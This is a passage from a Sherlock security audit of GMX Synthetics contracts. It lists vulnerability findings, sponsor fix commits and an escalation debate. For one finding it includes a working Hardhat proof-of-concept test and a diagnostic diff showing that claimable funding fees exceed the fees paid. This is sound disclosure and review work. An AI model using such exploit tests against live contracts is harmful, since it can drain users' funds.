Updating the total borrowing function with incorrect parameter values would upset the internal accounting of the system and would result in loss of user funds.
Loc:
PositionUtils.sol: https://github.com/sherlock-audit/2023-02-gmx/blob/main/gmx-synthetics/contracts/position/PositionUtils.sol#L460-L474MarketUtils.sol: https://github.com/sherlock-audit/2023-02-gmx/blob/main/gmx-synthetics/contracts/market/MarketUtils.sol#L1773-L1793
In PositionUtils.sol
function updateTotalBorrowing(
PositionUtils.UpdatePositionParams memory params,
uint256 nextPositionSizeInUsd,
uint256 nextPositionBorrowingFactor
) internal {
MarketUtils.updateTotalBorrowing(
params.contracts.dataStore,
params.market.marketToken,
params.position.isLong(),
params.position.borrowingFactor(),
params.position.sizeInUsd(),
nextPositionSizeInUsd,
nextPositionBorrowingFactor
);
}In MarketUtils.sol
function updateTotalBorrowing(
DataStore dataStore,
address market,
bool isLong,
uint256 prevPositionSizeInUsd,
uint256 prevPositionBorrowingFactor,
uint256 nextPositionSizeInUsd,
uint256 nextPositionBorrowingFactor
) external {
uint256 totalBorrowing = getNextTotalBorrowing(
dataStore,
market,
isLong,
prevPositionSizeInUsd,
prevPositionBorrowingFactor,
nextPositionSizeInUsd,
nextPositionBorrowingFactor
);
setTotalBorrowing(dataStore, market, isLong, totalBorrowing);
}Manual Review
Correct the ordering of parameters in function call made in PositionUtils.sol so that it aligns to that defined in the function signature in MarketUtils.sol
xvi10
Fix in https://github.com/gmx-io/gmx-synthetics/commit/3508caf10d1bda24f21e768e945494fd581c0986
Source: sherlock-audit#70
bin2chen, rvierdiiev
No slippage for withdrawal without swapping path
When user withdraws, he should provide amount of LP tokens, that he wants to burn. According to that amount, output amount of long and short tokens of the market will be calculated for him.
In case if user wants to swap this short/long tokens to another tokens, then he can provide longTokenSwapPath/shortTokenSwapPath array. If he doesn't want to swap them, but just receive without swapping, he doesn't provide that array.
No matter if he provided swap path or no, swapping will be called.
Then inside SwapUtils.swap in case if no swap path is provided, then function will just send tokens to receiver.
One of parameters of SwapUtils.swap function is minOutputAmount. This parameter is important as it stands as slippage protection. In case if swap path is not provided, then amount will not be checked for that slippage. If swap path present, then slippage check will be done.
So in case if no swap path is provided, then slippage provided by user will not be checked, as inside WithdrawalUtils._executeWithdrawal there is no any check that user received minShortTokenAmount and minLongTokenAmount.
Because of that user can be frontrunned and lose some funds.
There is no slippage check in case if user doesn't provide swap path.
Provided above
Manual Review
You need to check that minLongTokenAmount, minShortTokenAmount is satisfied after the swap.
xvi10
Fix in https://github.com/gmx-io/gmx-synthetics/commit/7ca5adaacbeb717ae91badc250c56441fd86a417
Source: sherlock-audit#67
stopthecap
The vulnerability start at the function getNextFundingAmountPerSize:
Basically, GMX is handling incorrectly the way on how they calculate the FundingFees to be paid because they calculate the amount using the getOpenInterest from both the short and long tokens.
The detailed issue here is that GMX is incorrectly handling the calculation with the getOpenInterest (the open Interest) of the two tokens, short and long. They are dividing the cache.fundingUsd for the interest of the two tokens:
After dividing, you get the cache.fundingUsdForLongCollateral which is basically the amount that has to be paid or paidTo for any of both collaterals and positions.
That is a big problem in one case, when users need to pay those feed. When the user does have to pay the fundingFees. Because customers can only pay those fundingFees for their collateral token, not for both.
As said, this is not an issue when users do receive the fundingFees because you can claim both tokens, but it is an issue when paying the fees.
This will result in less fundingFees being paid by users.
2 Impacts:
1: A missmatch in the pools accounting will occur over time which might have unexpected results in terms of insolvency's.
2:
High because users are not paying the fees that they should pay, so there is an economic damage. Specifically because the bug just described, does reduce the variable fundingAmountPerSizePortion :
which is what user pays for the collateral token. As said before, the amounts are being divided by the entire interest, therefore, just a small part only a portion of the FundingFees will be paid, meanwhile the entire amount can be claimed.
Manual Review
The way on how the funding fees are calculate for users that have to pay them has to change in a way that it is not calculated accounting all the open interest. The calculation of the funding fees for users that have to claim fundingFees, not necessarily has to change.
0xffff11
Escalate for 10 USDC
Issue is completely valid as a solo high. I see that my phrasing was not very clear which brought the issue to be excluded.
The problem here is that when calculating getNextFundingAmountPerSize both amount per size portion for long and short tokens are accounted https://github.com/sherlock-audit/2023-02-gmx/blob/b8f926738d1e2f4ec1173939caa51698f2c89631/gmx-synthetics/contracts/market/MarketUtils.sol#L953-L954
Those fundingAmounts for long and short tokens are divided by the entire open interest:
cache.fundingUsdForShortCollateral = cache.fundingUsd * cache.oi.shortOpenInterestWithShortCollateral / cache.oi.shortOpenInterest;
There are 2 scenarios for these:
1 User are paid those fees, in which they would be paid entirely, because they are able to clame both, long and short tokens
2
User has to pay those funding fees. Users are only able to pay the fundingAmountPerSizePortion for their collateral token instead of both tokens, which reduces drastically the amount of fundingAmountPerSizePortion that the user will actually pay.
To sum up. Not all the fees will be paid because you can only pay fundingAmountPerSizePortion for your collateral token, but actually all the fundingAmountPerSizePortion can be claimed.
To sum up the getNextFundingAmountPerSize needs to differenciate calculations from those 2 cases to actually work as intended.
As the issue enables paying less fees for portions because it is being used the entire open interest for calculation, there is an economic damage, therefore is a high
sherlock-admin
Escalate for 10 USDC
Issue is completely valid as a solo high. I see that my phrasing was not very clear which brought the issue to be excluded.
The problem here is that when calculating
getNextFundingAmountPerSizeboth amount per size portion for long and short tokens are accounted https://github.com/sherlock-audit/2023-02-gmx/blob/b8f926738d1e2f4ec1173939caa51698f2c89631/gmx-synthetics/contracts/market/MarketUtils.sol#L953-L954Those fundingAmounts for long and short tokens are divided by the entire open interest:
cache.fundingUsdForShortCollateral = cache.fundingUsd * cache.oi.shortOpenInterestWithShortCollateral / cache.oi.shortOpenInterest;
There are 2 scenarios for these:
1 User are paid those fees, in which they would be paid entirely, because they are able to clame both, long and short tokens
2 User has to pay those funding fees. Users are only able to pay the
fundingAmountPerSizePortionfor their collateral token instead of both tokens, which reduces drastically the amount offundingAmountPerSizePortionthat the user will actually pay.To sum up. Not all the fees will be paid because you can only pay
fundingAmountPerSizePortionfor your collateral token, but actually all thefundingAmountPerSizePortioncan be claimed.To sum up the
getNextFundingAmountPerSizeneeds to differenciate calculations from those 2 cases to actually work as intended.As the issue enables paying less fees for portions because it is being used the entire open interest for calculation, there is an economic damage, therefore is a high
You've created a valid escalation for 10 USDC!
To remove the escalation from consideration: Delete your comment.
You may delete or edit your escalation comment anytime before the 48-hour escalation window closes. After that, the escalation becomes final.
IllIllI000
I'm having a hard time parsing what is being said, but it sounds like the submitter is worried that there won't be enough tokens to pay out funding fees until fees are deducted from actual positions. If that's what's being claimed, the way this is prevented is by having a reserved amount which has to be satisfied by depositors before any position increase is allowed. @xvi10 can you take a look and see if I'm missing something, or if the description of the issue is more clear to you?
xvi10
it seems to be a valid issue, i think the issue described is the same as MKTU-2 of https://github.com/GuardianAudits/Audits/blob/main/GMX/GMX_Synthetics_Audit_3.pdf
IllIllI000
I agree that this is the same issue described by MKTU-2, but I'm still not seeing what the problem is. getNextFundingAmountPerSize() updates the global information about funding for a market's collateral, not the funding fees for a specific position. I don't see any mathematical error in dividing by cache.oi.longOpenInterest since it equals cache.oi.longOpenInterestWithLongCollateral + cache.oi.longOpenInterestWithShortCollateral. The actual deduction of the funding fees is done separately in getFundingFees(), where fees are deducted from the collateral held by the position. For example, if user A is long, user B is short with short collat, and user C is short with long collat, and the shorts have to pay longs, A claims collateral that B and C will pay their tokens for. As I mentioned above, user A can't create an OI position until market LPs have added enough tokens to cover any potential gains/losses, and this is enforced by 'reserved amount' checks during increases, decreases, and swaps. @xvi10, am I misunderstanding something here? Do you have access to the POC provided in MKTU-2? Can you provide it, e.g. in a gist so I can see what the exploit is?
xvi10
the PoC:
import { expect } from "chai";
import { deployFixture } from "../../../utils/fixture";
import { expandDecimals, decimalToFloat } from "../../../utils/math";
import { getPoolAmount, getSwapImpactPoolAmount, getMarketTokenPrice } from "../../../utils/market";
import { handleDeposit, getDepositCount } from "../../../utils/deposit";
import { OrderType, getOrderCount, getOrderKeys, createOrder, executeOrder, handleOrder } from "../../../utils/order";
import { getPositionCount, getAccountPositionCount, getPositionKeys } from "../../../utils/position";
import { mine, time } from "@nomicfoundation/hardhat-network-helpers";
import * as keys from "../../../utils/keys";
describe("Guardian.MKTU-2", () => {
const { provider } = ethers;
let fixture;
let user0, user1, user2, user3;
let reader,
dataStore,
oracle,
depositVault,
ethUsdMarket,
ethUsdSpotOnlyMarket,
wnt,
wbtc,
usdc,
attackContract,
exchangeRouter,
eventEmitter,
ethEthMarket,
solEthEthMarket,
wbtcEthEthMarket;
let executionFee;
beforeEach(async () => {
fixture = await deployFixture();
({ user0, user1, user2, user3 } = fixture.accounts);
({
reader,
dataStore,
oracle,
depositVault,
ethUsdMarket,
ethUsdSpotOnlyMarket,
wnt,
wbtc,
usdc,
attackContract,
exchangeRouter,
eventEmitter,
ethEthMarket,
solEthEthMarket,
wbtcEthEthMarket,
} = fixture.contracts);
({ executionFee } = fixture.props);
await handleDeposit(fixture, {
create: {
market: ethUsdMarket,
longTokenAmount: expandDecimals(1000, 18),
shortTokenAmount: expandDecimals(1000 * 5000, 6),
},
});
await handleDeposit(fixture, {
create: {
market: ethUsdSpotOnlyMarket,
longTokenAmount: expandDecimals(10000000, 18),
shortTokenAmount: expandDecimals(1000000 * 5000, 6),
},
});
});
it("CRITICAL: More claimable funding fees then paid", async () => {
await dataStore.setUint(keys.fundingFactorKey(ethUsdMarket.marketToken), decimalToFloat(1, 7));
await dataStore.setUint(keys.fundingExponentFactorKey(ethUsdMarket.marketToken), decimalToFloat(1));
// User0 MarketIncrease long position with long collateral for $100K
await handleOrder(fixture, {
create: {
account: user0,
market: ethUsdMarket,
initialCollateralToken: wnt,
initialCollateralDeltaAmount: expandDecimals(10, 18), // $50,000 in 10 ETH
swapPath: [],
sizeDeltaUsd: decimalToFloat(100 * 1000), // 2x Position
acceptablePrice: expandDecimals(5000, 12),
executionFee: expandDecimals(1, 15),
minOutputAmount: 0,
orderType: OrderType.MarketIncrease,
isLong: true,
shouldUnwrapNativeToken: false,
},
});
// User1 MarketIncrease short position with short collateral for $100K
await handleOrder(fixture, {
create: {
account: user1,
market: ethUsdMarket,
initialCollateralToken: usdc,
initialCollateralDeltaAmount: expandDecimals(50 * 1000, 6), // $50,000
swapPath: [],
sizeDeltaUsd: decimalToFloat(100 * 1000), // 2x Position
acceptablePrice: expandDecimals(5000, 12),
executionFee: expandDecimals(1, 15),
minOutputAmount: 0,
orderType: OrderType.MarketIncrease,
isLong: false,
shouldUnwrapNativeToken: false,
},
});
// User2 MarketIncrease short position with long collateral for $100K
await handleOrder(fixture, {
create: {
account: user2,
market: ethUsdMarket,
initialCollateralToken: wnt,
initialCollateralDeltaAmount: expandDecimals(10, 18), // $50,000
swapPath: [],
sizeDeltaUsd: decimalToFloat(100 * 1000), // 2x Position
acceptablePrice: expandDecimals(5000, 12),
executionFee: expandDecimals(1, 15),
minOutputAmount: 0,
orderType: OrderType.MarketIncrease,
isLong: false,
shouldUnwrapNativeToken: false,
},
});
// User3 MarketIncrease long with short collateral for $100K
await handleOrder(fixture, {
create: {
account: user3,
market: ethUsdMarket,
initialCollateralToken: usdc,
initialCollateralDeltaAmount: expandDecimals(100 * 1000, 6), // $100,000
swapPath: [],
sizeDeltaUsd: decimalToFloat(200 * 1000), // 2x Position
acceptablePrice: expandDecimals(5000, 12),
executionFee: expandDecimals(1, 15),
minOutputAmount: 0,
orderType: OrderType.MarketIncrease,
isLong: true,
shouldUnwrapNativeToken: false,
},
});
// Check that everyone has a position open
expect(await getAccountPositionCount(dataStore, user0.address)).eq(1);
expect(await getAccountPositionCount(dataStore, user1.address)).eq(1);
expect(await getAccountPositionCount(dataStore, user2.address)).eq(1);
expect(await getAccountPositionCount(dataStore, user3.address)).eq(1);
expect(await getPositionCount(dataStore)).eq(4);
// 300 days later
await time.increase(300 * 24 * 60 * 60);
const prices = {
indexTokenPrice: {
min: expandDecimals(5000, 12),
max: expandDecimals(5000, 12),
},
longTokenPrice: {
min: expandDecimals(5000, 12),
max: expandDecimals(5000, 12),
},
shortTokenPrice: {
min: expandDecimals(1, 24),
max: expandDecimals(1, 24),
},
};
const positionKeys = await getPositionKeys(dataStore, 0, 10);
const user0Position = await reader.getPositionInfo(dataStore.address, positionKeys[0], prices);
const user3Position = await reader.getPositionInfo(dataStore.address, positionKeys[3], prices);
// Total WNT FoundingFees paid by User0
const totalWNTFeesPaidByUser0 = await user0Position.pendingFundingFees.fundingFeeAmount;
// Total USDC FoundingFees paid by User3
const totalUSDCFeesPaidByUser3 = await user3Position.pendingFundingFees.fundingFeeAmount;
expect(await getOrderCount(dataStore)).to.eq(0);
expect(await wnt.balanceOf(user0.address)).to.eq(0);
expect(await wnt.balanceOf(user1.address)).to.eq(0);
expect(await wnt.balanceOf(user2.address)).to.eq(0);
expect(await wnt.balanceOf(user3.address)).to.eq(0);
expect(await usdc.balanceOf(user0.address)).to.eq(0);
expect(await usdc.balanceOf(user1.address)).to.eq(0);
expect(await usdc.balanceOf(user2.address)).to.eq(0);
expect(await usdc.balanceOf(user3.address)).to.eq(0);
// User0 MarketDecrease for the whole position size
await handleOrder(fixture, {
create: {
account: user0,
market: ethUsdMarket,
initialCollateralToken: wnt,
initialCollateralDeltaAmount: expandDecimals(10, 18), // $50,000
swapPath: [],
sizeDeltaUsd: decimalToFloat(100 * 1000), // 2x Position
acceptablePrice: expandDecimals(5000, 12),
executionFee: expandDecimals(1, 15),
minOutputAmount: 0,
orderType: OrderType.MarketDecrease,
isLong: true,
shouldUnwrapNativeToken: false,
},
});
// User1 MarketDecrease for the whole position size
await handleOrder(fixture, {
create: {
account: user1,
market: ethUsdMarket,
initialCollateralToken: usdc,
initialCollateralDeltaAmount: expandDecimals(50 * 1000, 6), // $50,000
swapPath: [],
sizeDeltaUsd: decimalToFloat(100 * 1000), // 2x Position
acceptablePrice: expandDecimals(5000, 12),
executionFee: expandDecimals(1, 15),
minOutputAmount: 0,
orderType: OrderType.MarketDecrease,
isLong: false,
shouldUnwrapNativeToken: false,
},
});
// User2 MarketDecrease for the whole position size
await handleOrder(fixture, {
create: {
account: user2,
market: ethUsdMarket,
initialCollateralToken: wnt,
initialCollateralDeltaAmount: expandDecimals(10, 18), // $50,000
swapPath: [],
sizeDeltaUsd: decimalToFloat(100 * 1000), // 2x Position
acceptablePrice: expandDecimals(5000, 12),
executionFee: expandDecimals(1, 15),
minOutputAmount: 0,
orderType: OrderType.MarketDecrease,
isLong: false,
shouldUnwrapNativeToken: false,
},
});
// User3 MarketDecrease for the whole position size
await handleOrder(fixture, {
create: {
account: user3,
market: ethUsdMarket,
initialCollateralToken: usdc,
initialCollateralDeltaAmount: expandDecimals(100 * 1000, 6), // $100,000
swapPath: [],
sizeDeltaUsd: decimalToFloat(200 * 1000), // 2x Position
acceptablePrice: expandDecimals(5000, 12),
executionFee: expandDecimals(1, 15),
minOutputAmount: 0,
orderType: OrderType.MarketDecrease,
isLong: true,
shouldUnwrapNativeToken: false,
},
});
// Check total wnt funding fees paid by User0
expect(totalWNTFeesPaidByUser0).eq("3455997333333400000");
// Check total usdc funding fees paid by User3
expect(totalUSDCFeesPaidByUser3).eq("69120000000");
// Check User1's claimable funding fees
expect(
await dataStore.getUint(keys.claimableFundingAmountKey(ethUsdMarket.marketToken, wnt.address, user1.address))
).to.eq("5183999266666700000");
expect(
await dataStore.getUint(keys.claimableFundingAmountKey(ethUsdMarket.marketToken, usdc.address, user1.address))
).to.eq("51840000000");
// Check User2's claimable funding fees
expect(
await dataStore.getUint(keys.claimableFundingAmountKey(ethUsdMarket.marketToken, wnt.address, user2.address))
).to.eq("5183999266666700000");
expect(
await dataStore.getUint(keys.claimableFundingAmountKey(ethUsdMarket.marketToken, usdc.address, user2.address))
).to.eq("51840000000");
// Check User0 has less balance than initially, e.g. User0 paid funding fees in WNT
expect(await wnt.balanceOf(user0.address)).to.lt(expandDecimals(10, 18));
// Check User3 has less balance than initially, e.g. User3 paid funding fees in USDC
expect(await usdc.balanceOf(user3.address)).to.lt(expandDecimals(1000 * 1000, 6));
// First we'll showcase that there is more WNT funding fee to be claimed the being paid, under that test we'll showcase that there is more USDC funding fee to be claimed then being paid
// TEST more claimable WNT funding fees then paid
const totalFeeAmountPaidWNT = BigInt(totalWNTFeesPaidByUser0);
// Get total of claimable funding fees from User1 and User2
const claimableWNTUser1 = await dataStore.getUint(
keys.claimableFundingAmountKey(ethUsdMarket.marketToken, wnt.address, user1.address)
);
const claimableWNTUser2 = await dataStore.getUint(
keys.claimableFundingAmountKey(ethUsdMarket.marketToken, wnt.address, user2.address)
);
const totalClaimableFeesWNT = BigInt(claimableWNTUser1) + BigInt(claimableWNTUser2);
// When funding fees are paid by the long side, each token per size value is divided amongst the total long open interest, but not every long position is capable of paying out the fees for either collateral tokens
// Check that the total amount of fees claimable is more the total fees paid
expect(totalClaimableFeesWNT).to.gt(totalFeeAmountPaidWNT);
// TEST more claimable USDC funding fees then paid
const totalFeeAmountPaidUSDC = BigInt(totalUSDCFeesPaidByUser3);
// Get total of claimable funding fees from User1 and User2
const claimableUSDCUser1 = await dataStore.getUint(
keys.claimableFundingAmountKey(ethUsdMarket.marketToken, usdc.address, user1.address)
);
const claimableUSDCUser2 = await dataStore.getUint(
keys.claimableFundingAmountKey(ethUsdMarket.marketToken, usdc.address, user2.address)
);
const totalClaimableFeesUSDC = BigInt(claimableUSDCUser1) + BigInt(claimableUSDCUser2);
// When funding fees are paid by the short side, each token per size value is divided amongst the total short open interest, but not every short position is capable of paying out the fees for either collateral tokens
// Check that the total amount of fees claimable is more the the total fees paid
expect(totalClaimableFeesUSDC).to.gt(totalFeeAmountPaidUSDC);
// Check there is no open positions
expect(await getAccountPositionCount(dataStore, user0.address)).eq(0);
expect(await getAccountPositionCount(dataStore, user1.address)).eq(0);
expect(await getAccountPositionCount(dataStore, user2.address)).eq(0);
expect(await getAccountPositionCount(dataStore, user3.address)).eq(0);
expect(await getPositionCount(dataStore)).eq(0);
});
});```
**IllIllI000**
While the title of the issue, and the non-code parts of the summary are correct, the vulnerability detail and part of the impact are not correct. As I described above, there is no mathematical issue with the area of the code that the submitter links to, and the actual funding calculation is done elsewhere as I mention. However, there _is_ still an adjustment needed in the per-size values, which is described in MKTU-2, but is not described in this submission. Essentially, while the full open interest division is correct, that amount is later converted to per-share units, which should have taken into account the collateral of the position, so that when it's multiplied later in `getFundingFees()`, we get the right amount. As is seen in the fix applied by the sponsor, the area of the code that the submitter points to [remains unmodified](https://github.com/gmx-io/gmx-synthetics/blob/e6102b306d0488ba3dd71facd53bea4df74987db/contracts/market/MarketUtils.sol#L1047-L1051), and the adjustment that MKTU-2 describes is done [later](https://github.com/gmx-io/gmx-synthetics/blob/e6102b306d0488ba3dd71facd53bea4df74987db/contracts/market/MarketUtils.sol#L1062-L1064). The patch I'm providing below shows that only the MKTU-2 adjustment is needed in order for the `distribute short` amounts to match the `pay short` amount (I commented out the long portion of the test, because including both makes the test run into contract size issues):
```diff
diff --git a/gmx-synthetics/contracts/market/MarketUtils.sol b/gmx-synthetics/contracts/market/MarketUtils.sol
index 7624b69..70399b2 100644
--- a/gmx-synthetics/contracts/market/MarketUtils.sol
+++ b/gmx-synthetics/contracts/market/MarketUtils.sol
@@ -960,12 +960,15 @@ library MarketUtils {
// use Precision.FLOAT_PRECISION here because fundingUsdForLongCollateral or fundingUsdForShortCollateral divided by longTokenPrice
// will give an amount in number of tokens which may be quite a small value and could become zero after being divided by longOpenInterest
// the result will be the amount in number of tokens multiplied by Precision.FLOAT_PRECISION per 1 USD of size
- cache.fps.fundingAmountPerSizePortion_LongCollateral_LongPosition = getPerSizeValue(cache.fundingUsdForLongCollateral / prices.longTokenPrice.max, cache.oi.longOpenInterest);
+ //cache.fps.fundingAmountPerSizePortion_LongCollateral_LongPosition = getPerSizeValue(cache.fundingUsdForLongCollateral / prices.longTokenPrice.max, cache.oi.longOpenInterest);
cache.fps.fundingAmountPerSizePortion_LongCollateral_ShortPosition = getPerSizeValue(cache.fundingUsdForLongCollateral / prices.longTokenPrice.max, cache.oi.shortOpenInterest);
- cache.fps.fundingAmountPerSizePortion_ShortCollateral_LongPosition = getPerSizeValue(cache.fundingUsdForShortCollateral / prices.shortTokenPrice.max, cache.oi.longOpenInterest);
+ //cache.fps.fundingAmountPerSizePortion_ShortCollateral_LongPosition = getPerSizeValue(cache.fundingUsdForShortCollateral / prices.shortTokenPrice.max, cache.oi.longOpenInterest);
cache.fps.fundingAmountPerSizePortion_ShortCollateral_ShortPosition = getPerSizeValue(cache.fundingUsdForShortCollateral / prices.shortTokenPrice.max, cache.oi.shortOpenInterest);
-
+
if (result.longsPayShorts) {
+ cache.fps.fundingAmountPerSizePortion_LongCollateral_LongPosition = getPerSizeValue(cache.fundingUsdForLongCollateral / prices.longTokenPrice.max, cache.oi.longOpenInterestWithLongCollateral);
+ cache.fps.fundingAmountPerSizePortion_ShortCollateral_LongPosition = getPerSizeValue(cache.fundingUsdForShortCollateral / prices.shortTokenPrice.max, cache.oi.longOpenInterestWithShortCollateral);
+
// longs pay shorts
result.fundingAmountPerSize_LongCollateral_LongPosition = Calc.boundedAdd(
result.fundingAmountPerSize_LongCollateral_LongPosition,
@@ -987,6 +990,9 @@ library MarketUtils {
cache.fps.fundingAmountPerSizePortion_ShortCollateral_ShortPosition.toInt256()
);
} else {
+ //cache.fps.fundingAmountPerSizePortion_LongCollateral_ShortPosition = getPerSizeValue(cache.fundingUsdForLongCollateral / prices.longTokenPrice.max, cache.oi.shortOpenInterestWithLongCollateral);
+ //cache.fps.fundingAmountPerSizePortion_ShortCollateral_ShortPosition = getPerSizeValue(cache.fundingUsdForShortCollateral / prices.shortTokenPrice.max, cache.oi.shortOpenInterestWithShortCollateral);
+
// shorts pay longs
result.fundingAmountPerSize_LongCollateral_LongPosition = Calc.boundedSub(
result.fundingAmountPerSize_LongCollateral_LongPosition,
diff --git a/gmx-synthetics/contracts/pricing/PositionPricingUtils.sol b/gmx-synthetics/contracts/pricing/PositionPricingUtils.sol
index c274e48..d807bae 100644
--- a/gmx-synthetics/contracts/pricing/PositionPricingUtils.sol
+++ b/gmx-synthetics/contracts/pricing/PositionPricingUtils.sol
@@ -13,7 +13,7 @@ import "./PricingUtils.sol";
import "../referral/IReferralStorage.sol";
import "../referral/ReferralUtils.sol";
-
+import "hardhat/console.sol";
// @title PositionPricingUtils
// @dev Library for position pricing functions
library PositionPricingUtils {
@@ -405,7 +405,7 @@ library PositionPricingUtils {
address shortToken,
int256 latestLongTokenFundingAmountPerSize,
int256 latestShortTokenFundingAmountPerSize
- ) internal pure returns (PositionFundingFees memory) {
+ ) internal view returns (PositionFundingFees memory) {
PositionFundingFees memory fundingFees;
fundingFees.latestLongTokenFundingAmountPerSize = latestLongTokenFundingAmountPerSize;
@@ -425,24 +425,36 @@ library PositionPricingUtils {
position.shortTokenFundingAmountPerSize(),
position.sizeInUsd()
);
-
+console.log("sender: ", tx.origin);
+//console.log(" fundingAPS long");
+//console.logInt(latestLongTokenFundingAmountPerSize);
+console.log(" fundingAPS short");
+console.logInt(latestShortTokenFundingAmountPerSize);
+//console.log(" long: ");
+//console.logInt(longTokenFundingFeeAmount);
+console.log(" short:");
+console.logInt(shortTokenFundingFeeAmount);
// if the position has negative funding fees, distribute it to allow it to be claimable
if (longTokenFundingFeeAmount < 0) {
fundingFees.claimableLongTokenAmount = (-longTokenFundingFeeAmount).toUint256();
+//console.log(" distribute long");
}
if (shortTokenFundingFeeAmount < 0) {
fundingFees.claimableShortTokenAmount = (-shortTokenFundingFeeAmount).toUint256();
+console.log(" distribute short");
}
if (position.collateralToken() == longToken && longTokenFundingFeeAmount > 0) {
fundingFees.fundingFeeAmount = longTokenFundingFeeAmount.toUint256();
+//console.log(" pay long");
}
if (position.collateralToken() == shortToken && shortTokenFundingFeeAmount > 0) {
fundingFees.fundingFeeAmount = shortTokenFundingFeeAmount.toUint256();
+console.log(" pay short");
}
-
+console.log("end\n");
return fundingFees;
}
output:
...
sender: 0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266
fundingAPS short
10368
short:
1036800000
end
sender: 0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266
fundingAPS short
-10368
short:
-1036800000
distribute short
end
sender: 0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266
fundingAPS short
-10368
short:
-1036800000
distribute short
end
sender: 0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266
fundingAPS short
10368
short:
2073600000
pay short
end
...
-1036800000 + -1036800000 + 2073600000 = 0
If there had been another submission in the contest where I could have marked this as a duplicate, I would have done so, so I'm leaning towards this being a valid High. However, because the submission did not actually identify the right problem and didn't provide any test showing that they weren't just guessing that there was some sort of problem in this area, I'm not sure if this qualifies for a solo high, and will leave the decision to the Sherlock team
IllIllI000
Upon further inspection, I believe that there is another submission that is describing the MKTU-2 issue correctly, and that's #109. In the section they label with Calculate nextFundingAmountPerSize:, they properly include the per-size adjustment, and they properly trace propagation of the incomplete adjustment from updateFundingAmountPerSize() to the later call to getPositionFees(). They don't explicitly say that the issue is with the per-size adjustment, but the math they provide shows that the amount paid is not the same as the amount withdrawn. Again, this current issue doesn't properly describe the area of the problem, so I would say that it's either a duplicate of #109, or invalid
xvi10
i don't think it is the same issue as sherlock-audit#109, the issue in 109 is due to rounding i believe
for this issue, the description is correct, i think the code referenced in "https://github.com/sherlock-audit/2023-02-gmx/blob/main/gmx-synthetics/contracts/market/MarketUtils.sol#L963-L966" is to describe that the incorrect calculation affects these variables
the Code Snippet covers the code that should be updated
IllIllI000
@xvi10, just so I understand what you're saying about this current issue, do you agree that I've described the shortcomings of this finding correctly, but disagree that it should be invalid, or are you saying something else? With the fix to the area of the code that you changed, are you seeing some other issue not covered by the test?
Separately, for 109, can you elaborate on how/where it's due to rounding, and point to the change you've made in the code to address it?
xvi10
i think that the issue should be valid
the issue mentioned:
"High because users are not paying the fees that they should pay, so there is an economic damage. Specifically because the bug just described, does reduce the variable fundingAmountPerSizePortion :
the reporter mentions that the fundingAmountPerSizePortion values will be affected which is correct
for 109, the fix for the rounding issue: https://github.com/gmx-io/gmx-synthetics/commit/8e5c776546b1eb3da46ae824119f6c797354a640
IllIllI000
They do mention fundingAmountPerSizePortion, but the adjustment is in each fundingAmountPerSizePortion_*Collateral_*Position, not in the raw fundingAmountPerSizePortion. They do mention a problem that ended up being shown to be valid, and I believe that by the Sherlock rules, it doesn't matter that it may not have described every aspect, and it should count as a High
For 109 can you point to where in the issue they refer to a rounding issue, or what step of the math shows it?
xvi10
for 109, they don't mention it as a rounding issue, but i believe the difference in amount paid vs amount claimed can be fixed by fixing the rounding
IllIllI000
@xvi10 Why is it not the same issue as the one described here? Wouldn't their tracing of the various calls made in this issue point to the same issue? What in their description made it seem like a rounding issue instead? Their submission doesn't mention units of precision anywhere
xvi10
this issue only affects the case where positions are opened with different types of collateral, because the calculation:
cache.fps.fundingAmountPerSizePortion_LongCollateral_LongPosition = getPerSizeValue(cache.fundingUsdForLongCollateral / prices.longTokenPrice.max, cache.oi.longOpenInterest);
cache.fps.fundingAmountPerSizePortion_ShortCollateral_LongPosition = getPerSizeValue(cache.fundingUsdForShortCollateral / prices.shortTokenPrice.max, cache.oi.longOpenInterest);
would be affected, since it should be
cache.fps.fundingAmountPerSizePortion_LongCollateral_LongPosition = getPerSizeValue(cache.fundingUsdForLongCollateral / prices.longTokenPrice.max, cache.oi.longOpenInterestWithLongCollateral);
cache.fps.fundingAmountPerSizePortion_ShortCollateral_LongPosition = getPerSizeValue(cache.fundingUsdForShortCollateral / prices.shortTokenPrice.max, cache.oi.longOpenInterestWithShortCollateral);
e.g. if all positions used the long token as collateral, then cache.oi.longOpenInterest == cache.oi.longOpenInterestWithLongCollateral and fundingUsdForShortCollateral would be zero
in the example given in sherlock-audit#109, all positions use the same collateral so it is not the same issue
as mentioned, 109 does not describe the issue as a rounding issue, just that it possible for the amount claimable to be larger than the amount paid or pending to be paid, fixing the rounding would prevent this from occurring
IllIllI000
I agree that this issue requires that collaterals be different, and 109 does not describe that
@xvi10 I do not see how the fix provided for #109 makes one or the other of the inequalities at the end of the submission always negative, which I believe would be required for that issue to be resolved, but I'll take another look. Please let me know if you've already figured it out
xvi10
would it be possible to get clarification from the reporter on this?
hrishibhat
Escalation accepted
Based on the above discussions. Considering this issue a valid high
sherlock-admin
Escalation accepted
Based on the above discussions. Considering this issue a valid high
This issue's escalations have been accepted!
Contestants' payouts and scores will be updated according to the changes made on this issue.
xvi10
Fix in https://github.com/gmx-io/gmx-synthetics/commit/abd2396da096a08fdb7d77a6328b42396cc6149c
Issue H-21: Creating an order of type MarketIncrease opens an attack vector where attacker can execute txs with stale prices by inputting a very extense swapPath
Source: sherlock-audit#54
stopthecap
The vulnerability relies on the create order function:
function createOrder(
DataStore dataStore,
EventEmitter eventEmitter,
OrderVault orderVault,
IReferralStorage referralStorage,
address account,
BaseOrderUtils.CreateOrderParams memory params
) external returns (bytes32) {
ReferralUtils.setTraderReferralCode(referralStorage, account, params.referralCode);
uint256 initialCollateralDeltaAmount;
address wnt = TokenUtils.wnt(dataStore);
bool shouldRecordSeparateExecutionFeeTransfer = true;
if (
params.orderType == Order.OrderType.MarketSwap ||
params.orderType == Order.OrderType.LimitSwap ||
params.orderType == Order.OrderType.MarketIncrease ||
params.orderType == Order.OrderType.LimitIncrease
) {
initialCollateralDeltaAmount = orderVault.recordTransferIn(params.addresses.initialCollateralToken);
if (params.addresses.initialCollateralToken == wnt) {
if (initialCollateralDeltaAmount < params.numbers.executionFee) {
revert InsufficientWntAmountForExecutionFee(initialCollateralDeltaAmount, params.numbers.executionFee);
}
initialCollateralDeltaAmount -= params.numbers.executionFee;
shouldRecordSeparateExecutionFeeTransfer = false;
}
} else if (
params.orderType == Order.OrderType.MarketDecrease ||
params.orderType == Order.OrderType.LimitDecrease ||
